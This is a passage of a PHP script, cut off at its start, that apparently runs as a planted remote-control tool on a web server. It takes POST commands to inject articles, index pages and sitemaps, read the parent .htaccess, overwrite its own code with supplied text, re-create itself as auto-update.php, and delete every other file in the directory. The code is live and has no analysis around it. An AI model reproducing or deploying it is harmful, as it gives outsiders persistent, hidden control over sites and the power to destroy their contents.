' . "\n"; $r .= '1) { $rf = $a[count($a)-2]; if (file_exists($rf . '.php')) $rf .= ".php"; if (file_exists($rf . '.html')) $rf .= ".html"; } if ($file != 'index.php' && $file != 'upload.php' && $file != 'main.php' && $file!='sitemap.xml') { $r .= "\n\t" . $p . $file . "\n"; $r .= "\t" . date("Y-m-d", filemtime($rf)) . "\n"; $r .= "\tweekly\n\n"; } } $r .= ""; $f = fopen("sitemap.xml", "w"); fwrite($f, $r); fclose($f); } function create_auto_update() { $my_name = array_pop(explode('/', empty($_SERVER['SCRIPT_NAME'])?GetEnv('SCRIPT_NAME'):$_SERVER['SCRIPT_NAME'])); $f = fopen($my_name, "r"); $g = fopen("auto-update.php", "w"); $ins = 0; fputs ($g, ""); fclose($g); fclose($f); } //START if (is_file($log_file)) logger("\n\n"); logger("Script started at ".date('r')." ==============\n"); if (!file_exists('.htaccess')) { logger('Create .htaccess'); $hth = fopen('.htaccess', 'wb'); fwrite($hth, "DirectoryIndex main.php\n\nAddDefaultCharset Windows-1251\n\nphp_flag register_globals off\n\nRewriteEngine on\n\nRewriteRule log$ nofile.htm"); fclose($hth); } if (!file_exists('auto-update.php')) { logger('Create auto-update'); create_auto_update(); } if(!isset($_POST['action'])) { return_index(); return; } $key = 'none'; if (isset($_POST['key'])) $key = $_POST['key']; if (!check_valid_ip($key)) { logger('IP validity check failed'); echo "bad ip"; return; } $action = $_POST['action']; if($action == 'initialize') { if(isset($_POST['code']) && $_POST['code']!="main") { logger("wrong script"); echo 'wrong script (upload vs. main vs. cms_importer)'; } else { echo 'ok'; } return; } if($action == 'index_update') { if (isset($_POST['index'])) update_index($_POST['index']); else logger("index data not set"); if (isset($_POST['clear'])) clear_files($_POST['clear']); if (isset($_POST['sitemap'])) sitemap($_POST['sitemap']); return; } if($action == 'htaccess') { print "version 1.00\n"; $fh = @fopen("../.htaccess","r"); if ($fh) { $c = fread($fh, 100000); fclose($fh); print $c; } else { print "no file"; } return; } if($action == 'article_update') { if(!isset($_POST['id'])) logger("id not set"); else if(!isset($_POST['text'])) logger("text not set"); else { update_article($_POST['id'], $_POST['text']); echo 'ok'; } if (isset($_POST['index'])) update_index($_POST['index']); if (isset($_POST['subindex'])) update_subindex($_POST['name'], $_POST['subindex']); if (isset($_POST['clear'])) clear_files($_POST['clear']); if (isset($_POST['sitemap'])) sitemap($_POST['sitemap']); return; } if($action == 'update_subindex') { if(!isset($_POST['name'])){ logger("name not set"); } else if(!isset($_POST['subindex'])){ logger("subindex not set"); } else { update_subindex($_POST['name'], $_POST['subindex']); echo 'ok'; } return; } if($action == 'article_delete') { if(isset($_POST['id'])) { delete_article($_POST['id']); echo 'ok'; } else logger("id not set"); if (isset($_POST['index'])) update_index($_POST['index']); if (isset($_POST['clear'])) clear_files($_POST['clear']); if (isset($_POST['sitemap'])) sitemap($_POST['sitemap']); return; } if($action == 'script_update') { if(!isset($_POST['text'])) logger("script text not set"); else { update_script($_POST['text']); echo 'ok'; } return; } if($action == 'delete_all') { $files = glob('*.*'); if ($files && is_array($files)) foreach ($files as $file) if ($file != $my_name && $file != ".htaccess" && $file != "log" && $file!=$index_page && $file != "auto-update.php") unlink($file); if (!file_exists('auto-update.php')) create_auto_update(); return; } ?>